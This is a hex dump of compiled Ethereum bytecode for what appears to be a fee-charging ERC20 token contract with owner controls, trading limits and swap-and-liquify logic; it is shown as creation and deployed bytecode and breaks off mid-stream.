fffffff16565b90505f47905061283a82612c49565b5f61284e8247612c3490919063ffffffff16565b90505f6128788661286a60155485612e7f90919063ffffffff16565b612e9490919063ffffffff16565b90505f6128a28761289460165486612e7f90919063ffffffff16565b612e9490919063ffffffff16565b90505f8183856128b291906140c0565b6128bc91906140c0565b90505f871180156128cc57505f81115b15612919576128db8782612ea9565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601754604051612910939291906140f3565b60405180910390a15b5f6017819055505f6015819055505f6016819055505f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168460405161297490614155565b5f6040518083038185875af1925050503d805f81146129ae576040519150601f19603f3d011682016040523d82523d5f602084013e6129b3565b606091505b505090505f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16846040516129fd90614155565b5f6040518083038185875af1925050503d805f8114612a37576040519150601f19603f3d011682016040523d82523d5f602084013e612a3c565b606091505b5050905050505050505050505050505b565b5f612a598686612f89565b90508015612ba4575f600e5490505f600f5490508415612a9857601354600e54612a839190613845565b9150601354600f54612a959190613845565b90505b8315612ac357601454600e54612aae9190613845565b9150601454600f54612ac09190613845565b90505b5f612aea6064612adc858a612e7f90919063ffffffff16565b612e9490919063ffffffff16565b90508260105482612afb9190613719565b612b059190613787565b60175f828254612b159190613845565b92505081905550828282612b299190613719565b612b339190613787565b60155f828254612b439190613845565b925050819055508260115482612b599190613719565b612b639190613787565b60165f828254612b739190613845565b925050819055505f811115612b8e57612b8d893083612525565b5b8087612b9a91906140c0565b9650505050612c16565b83612bae87610e3b565b1015612c155760185f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612c0f57612c0e853086611c15565b5b50612c23565b5b612c21868686612525565b505b5050505050565b505050565b505050565b5f8183612c4191906140c0565b905092915050565b5f600267ffffffffffffffff811115612c6557612c64614169565b5b604051908082528060200260200182016040528015612c935781602001602082028036833780820191505090505b50905030815f81518110612caa57612ca9614196565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612d4e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612d7291906141d7565b81600181518110612d8657612d85614196565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612dec3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119c7565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612e4e9594939291906142f2565b5f604051808303815f87803b158015612e65575f80fd5b505af1158015612e77573d5f803e3d5ffd5b505050505050565b5f8183612e8c9190613719565b905092915050565b5f8183612ea19190613787565b905092915050565b612ed53060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119c7565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f80612f1f611117565b426040518863ffffffff1660e01b8152600401612f419695949392919061434a565b60606040518083038185885af1158015612f5d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190612f8291906143bd565b5050505050565b5f8060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015613034575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b9050808015613089575060185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156130a8576001601a5f8282546130a09190613845565b925050819055505b5f60185f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680613144575060185f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b90505f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161490505f83806131a35750815b90505f80600e541190508080156131c75750600760149054906101000a900460ff16155b80156131d1575083155b80156131da5750815b9550505050505092915050565b5f819050919050565b6131f9816131e7565b82525050565b5f6020820190506132125f8301846131f0565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561324f578082015181840152602081019050613234565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61327482613218565b61327e8185613222565b935061328e818560208601613232565b6132978161325a565b840191505092915050565b5f6020820190508181035f8301526132ba818461326a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6132ef826132c6565b9050919050565b6132ff816132e5565b8114613309575f80fd5b50565b5f8135905061331a816132f6565b92915050565b613329816131e7565b8114613333575f80fd5b50565b5f8135905061334481613320565b92915050565b5f80604083850312156133605761335f6132c2565b5b5f61336d8582860161330c565b925050602061337e85828601613336565b9150509250929050565b5f8115159050919050565b61339c81613388565b82525050565b5f6020820190506133b55f830184613393565b92915050565b5f602082840312156133d0576133cf6132c2565b5b5f6133dd84828501613336565b91505092915050565b5f805f606084860312156133fd576133fc6132c2565b5b5f61340a86828701613336565b935050602061341b86828701613336565b925050604061342c86828701613336565b9150509250925092565b5f805f6060848603121561344d5761344c6132c2565b5b5f61345a8682870161330c565b935050602061346b8682870161330c565b925050604061347c86828701613336565b9150509250925092565b5f60ff82169050919050565b61349b81613486565b82525050565b5f6020820190506134b45f830184613492565b92915050565b6134c381613388565b81146134cd575f80fd5b50565b5f813590506134de816134ba565b92915050565b5f80604083850312156134fa576134f96132c2565b5b5f6135078582860161330c565b9250506020613518858286016134d0565b9150509250929050565b5f60208284031215613537576135366132c2565b5b5f6135448482850161330c565b91505092915050565b5f819050919050565b5f61357061356b613566846132c6565b61354d565b6132c6565b9050919050565b5f61358182613556565b9050919050565b5f61359282613577565b9050919050565b6135a281613588565b82525050565b5f6020820190506135bb5f830184613599565b92915050565b6135ca816132e5565b82525050565b5f6020820190506135e35f8301846135c1565b92915050565b5f80604083850312156135ff576135fe6132c2565b5b5f61360c8582860161330c565b925050602061361d8582860161330c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061366b57607f821691505b60208210810361367e5761367d613627565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6136b8602083613222565b91506136c382613684565b602082019050919050565b5f6020820190508181035f8301526136e5816136ac565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f613723826131e7565b915061372e836131e7565b925082820261373c816131e7565b91508282048414831517613753576137526136ec565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613791826131e7565b915061379c836131e7565b9250826137ac576137ab61375a565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74205f8201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b5f613811602f83613222565b915061381c826137b7565b604082019050919050565b5f6020820190508181035f83015261383e81613805565b9050919050565b5f61384f826131e7565b915061385a836131e7565b9250828201905080821115613872576138716136ec565b5b92915050565b7f4d757374206b656570206665657320617420313025206f72206c6573730000005f82015250565b5f6138ac601d83613222565b91506138b782613878565b602082019050919050565b5f6020820190508181035f8301526138d9816138a0565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f61393a603983613222565b9150613945826138e0565b604082019050919050565b5f6020820190508181035f8301526139678161392e565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6139c8602583613222565b91506139d38261396e565b604082019050919050565b5f6020820190508181035f8301526139f5816139bc565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e205f8201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b5f613a56602483613222565b9150613a61826139fc565b604082019050919050565b5f6020820190508181035f830152613a8381613a4a565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e5f8201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b5f613ae4603583613222565b9150613aef82613a8a565b604082019050919050565b5f6020820190508181035f830152613b1181613ad8565b9050919050565b7f5377617020616d6f756e742063616e6e6f7420626520686967686572207468615f8201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b5f613b72603483613222565b9150613b7d82613b18565b604082019050919050565b5f6020820190508181035f830152613b9f81613b66565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613c00602683613222565b9150613c0b82613ba6565b604082019050919050565b5f6020820190508181035f830152613c2d81613bf4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613c8e602483613222565b9150613c9982613c34565b604082019050919050565b5f6020820190508181035f830152613cbb81613c82565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613d1c602283613222565b9150613d2782613cc2565b604082019050919050565b5f6020820190508181035f830152613d4981613d10565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f613d84601d83613222565b9150613d8f82613d50565b602082019050919050565b5f6020820190508181035f830152613db181613d78565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613e12602583613222565b9150613e1d82613db8565b604082019050919050565b5f6020820190508181035f830152613e3f81613e06565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613ea0602383613222565b9150613eab82613e46565b604082019050919050565b5f6020820190508181035f830152613ecd81613e94565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f613f08601683613222565b9150613f1382613ed4565b602082019050919050565b5f6020820190508181035f830152613f3581613efc565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f613f96603583613222565b9150613fa182613f3c565b604082019050919050565b5f6020820190508181035f830152613fc381613f8a565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613ffe601383613222565b915061400982613fca565b602082019050919050565b5f6020820190508181035f83015261402b81613ff2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61408c602683613222565b915061409782614032565b604082019050919050565b5f6020820190508181035f8301526140b981614080565b9050919050565b5f6140ca826131e7565b91506140d5836131e7565b92508282039050818111156140ed576140ec6136ec565b5b92915050565b5f6060820190506141065f8301866131f0565b61411360208301856131f0565b61412060408301846131f0565b949350505050565b5f81905092915050565b50565b5f6141405f83614128565b915061414b82614132565b5f82019050919050565b5f61415f82614135565b9150819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506141d1816132f6565b92915050565b5f602082840312156141ec576141eb6132c2565b5b5f6141f9848285016141c3565b91505092915050565b5f819050919050565b5f61422561422061421b84614202565b61354d565b6131e7565b9050919050565b6142358161420b565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61426d816132e5565b82525050565b5f61427e8383614264565b60208301905092915050565b5f602082019050919050565b5f6142a08261423b565b6142aa8185614245565b93506142b583614255565b805f5b838110156142e55781516142cc8882614273565b97506142d78361428a565b9250506001810190506142b8565b5085935050505092915050565b5f60a0820190506143055f8301886131f0565b614312602083018761422c565b81810360408301526143248186614296565b905061433360608301856135c1565b61434060808301846131f0565b9695505050505050565b5f60c08201905061435d5f8301896135c1565b61436a60208301886131f0565b614377604083018761422c565b614384606083018661422c565b61439160808301856135c1565b61439e60a08301846131f0565b979650505050505050565b5f815190506143b781613320565b92915050565b5f805f606084860312156143d4576143d36132c2565b5b5f6143e1868287016143a9565b93505060206143f2868287016143a9565b9250506040614403868287016143a9565b915050925092509256fea2646970667358221220882614c67bf1a75f52103f8caf6067a618c1d006413f12701d4c02d4bac7d0d964736f6c63430008140033

Deployed Bytecode

0x60806040526004361061021d575f3560e01c80637571336a11610122578063ae76b090116100aa578063d257b34f1161006e578063d257b34f14610798578063dd62ed3e146107d4578063e73b90cd14610810578063f2fde38b1461083a578063fea4fa4d1461086257610224565b8063ae76b090146106ce578063b62496f5146106e4578063bfcc47d614610720578063c18bc19514610748578063cb94a3701461077057610224565b806395d89b41116100f157806395d89b41146105da5780639c74daf0146106045780639c9e90cb1461062e578063a457c2d714610656578063a9059cbb1461069257610224565b80637571336a1461054857806382247ec014610570578063883755631461059a5780638da5cb5b146105b057610224565b8063313ce567116101a55780635342acb4116101745780635342acb414610466578063583e0568146104a257806370a08231146104cc578063715018a614610508578063751039fc1461051e57610224565b8063313ce567146103c2578063339578fe146103ec57806339509351146104025780634ec27aac1461043e57610224565b8063203e727e116101ec578063203e727e146102e2578063224290851461030a57806323b872dd1461033257806327f4d7d51461036e5780632fd689e31461039857610224565b806304beaeb81461022857806306fdde0314610252578063095ea7b31461027c57806318160ddd146102b857610224565b3661022457005b5f80fd5b348015610233575f80fd5b5061023c61088c565b60405161024991906131ff565b60405180910390f35b34801561025d575f80fd5b50610266610892565b60405161027391906132a2565b60405180910390f35b348015610287575f80fd5b506102a2600480360381019061029d919061334a565b610922565b6040516102af91906133a2565b60405180910390f35b3480156102c3575f80fd5b506102cc610944565b6040516102d991906131ff565b60405180910390f35b3480156102ed575f80fd5b50610308600480360381019061030391906133bb565b61094d565b005b348015610315575f80fd5b50610330600480360381019061032b91906133e6565b610a5c565b005b34801561033d575f80fd5b5061035860048036038101906103539190613436565b610b5b565b60405161036591906133a2565b60405180910390f35b348015610379575f80fd5b50610382610b89565b60405161038f91906133a2565b60405180910390f35b3480156103a3575f80fd5b506103ac610b9c565b6040516103b991906131ff565b60405180910390f35b3480156103cd575f80fd5b506103d6610ba2565b6040516103e391906134a1565b60405180910390f35b3480156103f7575f80fd5b50610400610baa565b005b34801561040d575f80fd5b506104286004803603810190610423919061334a565b610c2f565b60405161043591906133a2565b60405180910390f35b348015610449575f80fd5b50610464600480360381019061045f91906134e4565b610c65565b005b348015610471575f80fd5b5061048c60048036038101906104879190613522565b610dc4565b60405161049991906133a2565b60405180910390f35b3480156104ad575f80fd5b506104b6610e16565b6040516104c391906135a8565b60405180910390f35b3480156104d7575f80fd5b506104f260048036038101906104ed9190613522565b610e3b565b6040516104ff91906131ff565b60405180910390f35b348015610513575f80fd5b5061051c610e80565b005b348015610529575f80fd5b50610532610f07565b60405161053f91906133a2565b60405180910390f35b348015610553575f80fd5b5061056e600480360381019061056991906134e4565b610fa4565b005b34801561057b575f80fd5b50610584611078565b60405161059191906131ff565b60405180910390f35b3480156105a5575f80fd5b506105ae61107e565b005b3480156105bb575f80fd5b506105c4611117565b6040516105d191906135d0565b60405180910390f35b3480156105e5575f80fd5b506105ee61113f565b6040516105fb91906132a2565b60405180910390f35b34801561060f575f80fd5b506106186111cf565b60405161062591906135d0565b60405180910390f35b348015610639575f80fd5b50610654600480360381019061064f91906134e4565b6111f4565b005b348015610661575f80fd5b5061067c6004803603810190610677919061334a565b611316565b60405161068991906133a2565b60405180910390f35b34801561069d575f80fd5b506106b860048036038101906106b3919061334a565b61138b565b6040516106c591906133a2565b60405180910390f35b3480156106d9575f80fd5b506106e26113ad565b005b3480156106ef575f80fd5b5061070a60048036038101906107059190613522565b611432565b60405161071791906133a2565b60405180910390f35b34801561072b575f80fd5b5061074660048036038101906107419190613522565b61144f565b005b348015610753575f80fd5b5061076e600480360381019061076991906133bb565b61150e565b005b34801561077b575f80fd5b5061079660048036038101906107919190613522565b61161d565b005b3480156107a3575f80fd5b506107be60048036038101906107b991906133bb565b6116dc565b6040516107cb91906133a2565b60405180910390f35b3480156107df575f80fd5b506107fa60048036038101906107f591906135e9565b611830565b60405161080791906131ff565b60405180910390f35b34801561081b575f80fd5b506108246118b2565b60405161083191906133a2565b60405180910390f35b348015610845575f80fd5b50610860600480360381019061085b9190613522565b6118c4565b005b34801561086d575f80fd5b506108766119ba565b60405161088391906131ff565b60405180910390f35b600a5481565b6060600380546108a190613654565b80601f01602080910402602001604051908101604052809291908181526020018280546108cd90613654565b80156109185780601f106108ef57610100808354040283529160200191610918565b820191905f5260205f20905b8154815290600101906020018083116108fb57829003601f168201915b5050505050905090565b5f8061092c6119c0565b90506109398185856119c7565b600191505092915050565b5f600254905090565b6109556119c0565b73ffffffffffffffffffffffffffffffffffffffff16610973611117565b73ffffffffffffffffffffffffffffffffffffffff16146109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c0906136ce565b60405180910390fd5b670de0b6b3a76400006103e860016109df610944565b6109e99190613719565b6109f39190613787565b6109fd9190613787565b811015610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690613827565b60405180910390fd5b670de0b6b3a764000081610a539190613719565b600a8190555050565b610a646119c0565b73ffffffffffffffffffffffffffffffffffffffff16610a82611117565b73ffffffffffffffffffffffffffffffffffffffff1614610ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acf906136ce565b60405180910390fd5b82600f819055508160118190555080601081905550601054601154600f54610b009190613845565b610b0a9190613845565b600e81905550600a600e541115610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d906138c2565b60405180910390fd5b505050565b5f80610b656119c0565b9050610b72858285611b8a565b610b7d858585611c15565b60019150509392505050565b600d60019054906101000a900460ff1681565b600b5481565b5f6012905090565b610bb26119c0565b73ffffffffffffffffffffffffffffffffffffffff16610bd0611117565b73ffffffffffffffffffffffffffffffffffffffff1614610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d906136ce565b60405180910390fd5b5f601481905550565b5f80610c396119c0565b9050610c5a818585610c4b8589611830565b610c559190613845565b6119c7565b600191505092915050565b610c6d6119c0565b73ffffffffffffffffffffffffffffffffffffffff16610c8b611117565b73ffffffffffffffffffffffffffffffffffffffff1614610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd8906136ce565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790613950565b60405180910390fd5b610d7a82826123ba565b8015158273ffffffffffffffffffffffffffffffffffffffff167fb6f1aed3b1ced30ce666a8b7f2e12b02aed514cdab677738640be9937f13320560405160405180910390a35050565b5f60185f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e886119c0565b73ffffffffffffffffffffffffffffffffffffffff16610ea6611117565b73ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef3906136ce565b60405180910390fd5b610f055f612462565b565b5f610f106119c0565b73ffffffffffffffffffffffffffffffffffffffff16610f2e611117565b73ffffffffffffffffffffffffffffffffffffffff1614610f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7b906136ce565b60405180910390fd5b5f600d5f6101000a81548160ff0219169083151502179055506001905090565b610fac6119c0565b73ffffffffffffffffffffffffffffffffffffffff16610fca611117565b73ffffffffffffffffffffffffffffffffffffffff1614611020576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611017906136ce565b60405180910390fd5b8060195f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c5481565b6110866119c0565b73ffffffffffffffffffffffffffffffffffffffff166110a4611117565b73ffffffffffffffffffffffffffffffffffffffff16146110fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f1906136ce565b60405180910390fd5b6001600d60016101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461114e90613654565b80601f016020809104026020016040519081016040528092919081815260200182805461117a90613654565b80156111c55780601f1061119c576101008083540402835291602001916111c5565b820191905f5260205f20905b8154815290600101906020018083116111a857829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111fc6119c0565b73ffffffffffffffffffffffffffffffffffffffff1661121a611117565b73ffffffffffffffffffffffffffffffffffffffff1614611270576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611267906136ce565b60405180910390fd5b8060185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f70f4a8cecbee3fa1db90cdac926e8bb233e133126cd4755940cfe4c8cbc5c14a8260405161130a91906133a2565b60405180910390a25050565b5f806113206119c0565b90505f61132d8286611830565b905083811015611372576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611369906139de565b60405180910390fd5b61137f82868684036119c7565b60019250505092915050565b5f806113956119c0565b90506113a2818585611c15565b600191505092915050565b6113b56119c0565b73ffffffffffffffffffffffffffffffffffffffff166113d3611117565b73ffffffffffffffffffffffffffffffffffffffff1614611429576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611420906136ce565b60405180910390fd5b5f601381905550565b601b602052805f5260405f205f915054906101000a900460ff1681565b6114576119c0565b73ffffffffffffffffffffffffffffffffffffffff16611475611117565b73ffffffffffffffffffffffffffffffffffffffff16146114cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c2906136ce565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115166119c0565b73ffffffffffffffffffffffffffffffffffffffff16611534611117565b73ffffffffffffffffffffffffffffffffffffffff161461158a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611581906136ce565b60405180910390fd5b670de0b6b3a76400006103e860056115a0610944565b6115aa9190613719565b6115b49190613787565b6115be9190613787565b811015611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f790613a6c565b60405180910390fd5b670de0b6b3a7640000816116149190613719565b600c8190555050565b6116256119c0565b73ffffffffffffffffffffffffffffffffffffffff16611643611117565b73ffffffffffffffffffffffffffffffffffffffff1614611699576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611690906136ce565b60405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6116e56119c0565b73ffffffffffffffffffffffffffffffffffffffff16611703611117565b73ffffffffffffffffffffffffffffffffffffffff1614611759576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611750906136ce565b60405180910390fd5b620186a06001611767610944565b6117719190613719565b61177b9190613787565b8210156117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b490613afa565b60405180910390fd5b6103e860056117ca610944565b6117d49190613719565b6117de9190613787565b821115611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790613b88565b60405180910390fd5b81600b8190555060019050919050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600d5f9054906101000a900460ff1681565b6118cc6119c0565b73ffffffffffffffffffffffffffffffffffffffff166118ea611117565b73ffffffffffffffffffffffffffffffffffffffff1614611940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611937906136ce565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a590613c16565b60405180910390fd5b6119b781612462565b50565b600e5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2c90613ca4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9a90613d32565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b7d91906131ff565b60405180910390a3505050565b5f611b958484611830565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611c0f5781811015611c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf890613d9a565b60405180910390fd5b611c0e84848484036119c7565b5b50505050565b5f60185f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611cb1575060185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b90505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1890613e28565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8690613eb6565b60405180910390fd5b600d60019054906101000a900460ff1680611da75750805b611de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddd90613f1e565b60405180910390fd5b5f8203611dfe57611df884845f612525565b506123b5565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611ea2575060195f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90505f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611f48575060195f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90505f611f53611117565b73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480611fbe5750611f8f611117565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b90505f8073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480612028575061dead73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b90505f82806120345750815b8061204b5750600760149054906101000a900460ff165b9050600d5f9054906101000a900460ff168015612066575080155b1561221757841561211357600a548711156120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad90613fac565b60405180910390fd5b600c546120c289610e3b565b886120cd9190613845565b111561210e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210590614014565b60405180910390fd5b612216565b836122155760195f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156121b6575060195f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561221457600c546121c789610e3b565b886121d29190613845565b1115612213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220a90614014565b60405180910390fd5b5b5b5b5b600760149054906101000a900460ff1615801561227b5750601b5f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156122ce575060185f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612321575060185f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156123a1575f601a54111561233b575050505050506123b5565b5f61234530610e3b565b90505f600b54821015905080801561235b575087155b1561239e576001600760146101000a81548160ff02191690831515021790555061238361279a565b5f6007601461